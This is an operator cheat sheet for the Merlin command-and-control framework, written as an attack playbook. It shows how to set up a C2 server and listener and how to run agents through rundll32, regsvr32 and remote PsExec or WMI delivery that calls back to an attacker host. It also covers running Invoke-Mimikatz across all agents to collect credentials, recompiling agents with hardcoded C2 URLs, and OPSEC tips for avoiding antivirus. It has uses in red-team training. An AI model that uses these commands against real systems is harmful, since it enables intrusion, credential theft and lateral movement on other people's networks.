Legend:
[SERVER]= Run on Merlin server host |[CLIENT]= Run in Merlin CLI |[AGENT]= Run inside active Merlin agent interaction |[HOST]= Run on attacker host OS
1. What is Merlin
What it means: Merlin is a cross-platform post-exploitation Command and Control framework written in Go, with both the server and agent able to run across major operating systems. SpecterOps’ documentation library describes it as a cross-platform post-exploitation C2 server and agent written in Go, and the main GitHub repo highlights features such as an HTTP/2-based agent and a command-line interface.
Attacker Host (Merlin Server + Merlin CLI)
│
│ ← HTTP/2 / HTTPS communications
│
Victim Host (Merlin Agent)
Merlin vs Sliver / Mythic / Empire
| Feature | Merlin | Sliver | Mythic | Empire |
|---|---|---|---|---|
| Interface | CLI | CLI | Web UI | GUI + CLI |
| Language | Go | Go | Containerized multi-service | Python + multi-language agents |
| Agent model | Standalone Merlin agent | Implant / Beacon | Payload type dependent | Agent |
| Extensibility | Modules | Armory | Payloads + C2 profiles | Modules |
| Cross-platform | Yes | Yes | Depends on agent | Yes |
Key Concepts
| Term | Meaning |
|---|---|
| Merlin Server | Main C2 server component; release bundle also includes CLI and precompiled agents in data/bin/ |
| Merlin CLI | Operator interface used to manage listeners, sessions, and modules |
| Listener | Server-side component that accepts agent communications |
| Agent | Merlin implant that connects back to the server |
| Session | Established agent connection managed from the CLI |
| Module | Built-in post-exploitation capability executed against one or more agents |
2. Setting Up Merlin
What it means: The quickest documented path is to download the prebuilt Merlin Server release, extract it with 7z using password merlin, and run it. The quick-start docs note that the server download already includes the CLI and compiled agents for all three major platforms in data/bin/.
2.1 Quick Ubuntu Install
sudo bash -c '
apt update &&
apt install p7zip-full -y &&
cd /opt &&
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z &&
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z &&
cd merlin &&
./merlinServer-Linux-x64
'
2.2 Manual Extraction
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z
cd merlin
./merlinServer-Linux-x64
2.3 Important Bundle Layout
Merlin server release contains:
- Merlin Server binary
- Merlin CLI
- Precompiled agents for Windows / Linux / macOS
Location:
data/bin/
This is stated directly in the quick-start docs.
2.4 Launch the CLI
cd /opt/merlin/data/bin
./merlinCLI
2.5 Default Agent URL Behavior
The docs say the agent’s -url flag defaults to https://127.0.0.1:443/ unless you specify another server URL or recompile the agent with a hardcoded address.
3. Merlin Architecture
What it means: Merlin has a simpler architecture than frameworks like Mythic: a server, a CLI, and agents that communicate back over the configured transport. The command interface docs show that the CLI is organized into menus for agents, listeners, modules, and the main menu.
3.1 CLI Menus
| Menu | Purpose |
|---|---|
Merlin» |
Main menu |
Merlin[listeners]» |
Listener management |
Merlin[agent]» |
Interact with a specific agent |
Merlin[modules]» |
Work with modules |
Merlin[module][name]» |
Configure and run a specific module |
3.2 Main Components
Merlin Server
│
├── Listener(s)
├── Session tracking
├── Module execution
└── Merlin CLI control plane
│
▼
Merlin Agents
3.3 Command Behavior
The older main-menu docs note that commands not recognized as Merlin commands are executed on the host running the Merlin server, which is useful for quick local host tasks like checking interfaces.
Example:
Merlin» ip a show ens32
4. Listeners
What it means: Listeners are managed from the dedicated listeners menu, and they define how Merlin accepts inbound agent connections. Community usage docs show operators entering the listeners menu, selecting HTTPS, setting interface and port, then starting the listener.
4.1 Enter the Listeners Menu
Merlin» listeners
Merlin[listeners]»
4.2 Example HTTPS Listener Setup
Merlin[listeners]» use HTTPS
Merlin[listeners][HTTPS]» set Interface 0.0.0.0
Merlin[listeners][HTTPS]» set Port 8443
Merlin[listeners][HTTPS]» show
Merlin[listeners][HTTPS]» start
This sequence is documented in a practical Merlin setup walkthrough.
4.3 Listener Verification
Merlin[listeners]» show
Merlin[listeners]» info
4.4 Why 0.0.0.0
Using 0.0.0.0 binds the listener on all interfaces, allowing hosts elsewhere on the network to reach the Merlin server instead of only localhost.
5. Agents
What it means: Merlin distributes precompiled agents with the server package, and the quick-start docs explain that you typically upload or copy a compiled agent to a compromised host and execute it with the -url flag to point at your listening server.
5.1 Agent Locations
data/bin/
├── windows/
├── linux/
└── macOS/
The docs state that precompiled agent binaries are distributed with the server in data/bin/.
5.2 Run a Windows EXE Agent
C:\Users\Bob\Downloads>merlinAgent.exe -url https://192.168.1.100:443/
5.3 Run a DLL Agent via rundll32.exe
C:\WINDOWS\System32\rundll32.exe merlin.dll,Run https://192.168.1.100:443/
The quick-start docs explicitly document Run as the DLL entrypoint and show passing the listener URL after it.
5.4 Default Behavior
If you double-click the Windows EXE agent, the docs say it runs without a visible window and attempts to connect to the default URL https://127.0.0.1:443/.
6. Sessions & Interaction
What it means: Once an agent connects, it becomes a session that you can list and interact with from the CLI. The module docs show that sessions lists established agents and interact <agentID> switches context to a specific agent.
6.1 List Sessions
Merlin» sessions
6.2 Interact with an Agent
Merlin» interact <agentID>
Merlin[agent][<agentID>]»
The interact command is documented as taking an agent ID and switching to that agent for direct interaction.
6.3 Return to Other Menus
Merlin[agent][<agentID>]» listeners
Merlin[listeners]»
The docs explicitly show moving from an agent menu back into the listeners menu with listeners.
6.4 Agent Status Awareness
The module docs note that sessions can be run from the module menu as well to quickly list established agents and include their status.
7. Modules
What it means: Merlin modules are configured and run against an agent or, in some cases, all agents. The documentation states that each module has an Agent option that must be set, with the default blank value of 00000000-0000-0000-0000-000000000000, and the special value all maps to all-Fs.
7.1 Enter the Modules Menu
Merlin» use modules
Merlin[modules]»
The older main-menu docs state that use modules is the main feature exposed from the top-level menu.
7.2 Select and Configure a Module
Merlin[modules]» interact Invoke-Mimikatz
Merlin[module][Invoke-Mimikatz]» set Agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[module][Invoke-Mimikatz]» run
The docs provide this exact style of example and state that run executes the module on the configured agent.
7.3 Run Against All Agents
Merlin[module][SomeModule]» set Agent all
Merlin[module][SomeModule]» run
When all is used, Merlin sets the module’s internal target value to ffffffff-ffff-ffff-ffff-ffffffffffff.
7.4 Useful Module Workflow
Merlin[modules]» sessions
Merlin[modules]» info
Merlin[module][Name]» show
Merlin[module][Name]» set Agent <agentID>
Merlin[module][Name]» run
8. Initial Access — Delivery
What it means: Merlin is a post-exploitation framework, so the docs explicitly say you must already have code execution or access on a host before using it. After that, you upload or remotely execute the agent.
8.1 Local Command Execution on Windows
merlinAgent.exe -url https://192.168.1.100:443/
8.2 PsExec Remote Delivery
.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/
The docs explain that -c uploads the file and -d is required so control returns after starting the agent.
8.3 SMB Delivery + rundll32.exe
rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/
The quick-start docs show Metasploit SMB delivery plus remote execution with wmiexec.py, and explicitly note you must change the default DLL entrypoint from 0 to Run and append the Merlin server URL.
8.4 WMI Remote Execution Example
python wmiexec.py bob:password@192.168.1.10
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/
9. Privilege Escalation
What it means: Merlin’s privesc workflow is primarily module-driven rather than built around a huge number of native in-agent commands. The documented module model, including examples like Invoke-Mimikatz, shows that the framework expects operators to configure modules against agents as needed.
9.1 General Privesc Pattern
Get initial agent
│
├── Enumerate host context
├── Run privesc-oriented module
├── Validate new privileges
└── Continue with higher-integrity session
9.2 Module-Driven Execution
Merlin» use modules
Merlin[modules]» interact <PrivescModule>
Merlin[module][<PrivescModule>]» set Agent <agentID>
Merlin[module][<PrivescModule>]» run
9.3 Why This Matters
Because Merlin’s docs emphasize modules, the exact privilege escalation path depends on which module is available and what the target operating system supports.
10. Credential Access
What it means: Credential access in Merlin is also typically accomplished via modules targeting one or more agents. The documentation’s example using Invoke-Mimikatz shows the intended pattern for module-based credential operations.
10.1 Example Credential Module Flow
Merlin» use modules
Merlin[modules]» interact Invoke-Mimikatz
Merlin[module][Invoke-Mimikatz]» set Agent <agentID>
Merlin[module][Invoke-Mimikatz]» run
10.2 Multi-Agent Credential Collection
Merlin[module][Invoke-Mimikatz]» set Agent all
Merlin[module][Invoke-Mimikatz]» run
10.3 Practical Workflow
1. List sessions
2. Choose target agent(s)
3. Select credential module
4. Set Agent option
5. Run module
6. Review output / follow-on actions
11. Lateral Movement & Pivoting
What it means: Merlin itself gives you the C2 transport and agent management layer, while lateral movement is generally performed via modules or external tooling once you have a session on a host. The delivery examples in the docs show common Windows remote-execution paths like PsExec and WMI that naturally extend to lateral deployment of additional Merlin agents.
11.1 PsExec-Based Lateral Agent Deployment
.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/
11.2 WMI-Based Lateral Deployment
python wmiexec.py bob:password@192.168.1.10
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/
11.3 Multi-Session Management
Merlin» sessions
Merlin» interact <agentID>
Once multiple agents are deployed, the sessions menu becomes the central way to pivot your control between hosts.
12. Advanced Payload Configuration
What it means: If you cannot or do not want to specify the listener URL at runtime, Merlin’s docs explain that you can recompile the agent with a hardcoded C2 URL. The DLL-focused advanced section shows editing main.go and rebuilding.
12.1 Recompile a DLL with Hardcoded URL
cd /opt
git clone -b dev https://github.com/Ne0nd0g/merlin-agent-dll.git
cd merlin-agent-dll
sed -i 's_https://127.0.0.1:443/_https://192.168.1.100:443/_' main.go
make
12.2 Result
The rebuilt DLL is left under:
bin/v0.5.0/
as documented in the quick-start example.
12.3 Hardcoded Execution Examples
rundll32.exe merlin,main
rundll32.exe merlin,Run
regsvr32.exe /s merlin.dll
regsvr32.exe /s /u merlin.dll
regsvr32.exe /s /n /i merlin.dll
These are explicitly listed in the advanced DLL section of the docs.
13. Detection & OPSEC
What it means: Merlin’s public identity is tied strongly to its Go-based agent and HTTP/2/HTTPS communications, so OPSEC depends heavily on transport configuration, delivery method, and whether the agent is run from disk. The quick-start docs explicitly warn that PsExec delivery leaves the Merlin agent on disk and creates an opportunity for AV to detect it.
13.1 Disk Exposure Risk
Using PsExec with -c uploads the agent binary to the remote host, which the docs note creates an opportunity for anti-virus detection because the Merlin agent lands on disk.
13.2 Default URL Pitfall
If you forget to specify -url or recompile the agent, it will try to connect to the default https://127.0.0.1:443/, which can cause failed callbacks and easy operator mistakes.
13.3 Operational Checks
Merlin» sessions
Merlin[listeners]» show
Merlin[listeners]» info
13.4 Practical OPSEC Notes
- Avoid unnecessary on-disk payload staging where possible.
- Verify the listener before execution.
- Use the correct runtime URL or recompile with a hardcoded URL.
- Treat module execution on “all” agents as noisy unless truly needed.
These recommendations follow directly from the documented delivery model, module targeting behavior, and default URL handling.
14. Master Cheat Sheet
Install & Start
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z
cd merlin
./merlinServer-Linux-x64
Launch CLI
cd /opt/merlin/data/bin
./merlinCLI
Listener Setup
listeners
use HTTPS
set Interface 0.0.0.0
set Port 8443
show
start
Sessions
sessions
interact <agentID>
Modules
use modules
interact <ModuleName>
set Agent <agentID>
run
Run Against All Agents
set Agent all
run
Windows EXE Delivery
merlinAgent.exe -url https://<SERVER_IP>:443/
Windows DLL Delivery
rundll32.exe merlin.dll,Run https://<SERVER_IP>:443/
Remote Delivery
.\PsExec.exe \\<TARGET> -u user -p password -d -c C:\path\merlinAgent.exe -url https://<SERVER_IP>:443/
python wmiexec.py user:password@<TARGET>
C:\>rundll32.exe \\<ATTACKER_IP>\<SHARE>\merlin.dll,Run https://<SERVER_IP>:443/
Decision Tree
Need quick C2 setup?
│
├── Download Merlin server release
├── Extract with password "merlin"
├── Start Merlin server
├── Open Merlin CLI
│
├── Configure and start listener
├── Deliver agent to target
├── Wait for session
│
├── List sessions
├── Interact with target agent
│
├── Need post-exploitation?
│ └── use modules
│
├── Need multi-host execution?
│ └── set Agent all
│
└── Need stealth / easier execution?
└── Recompile agent with hardcoded URL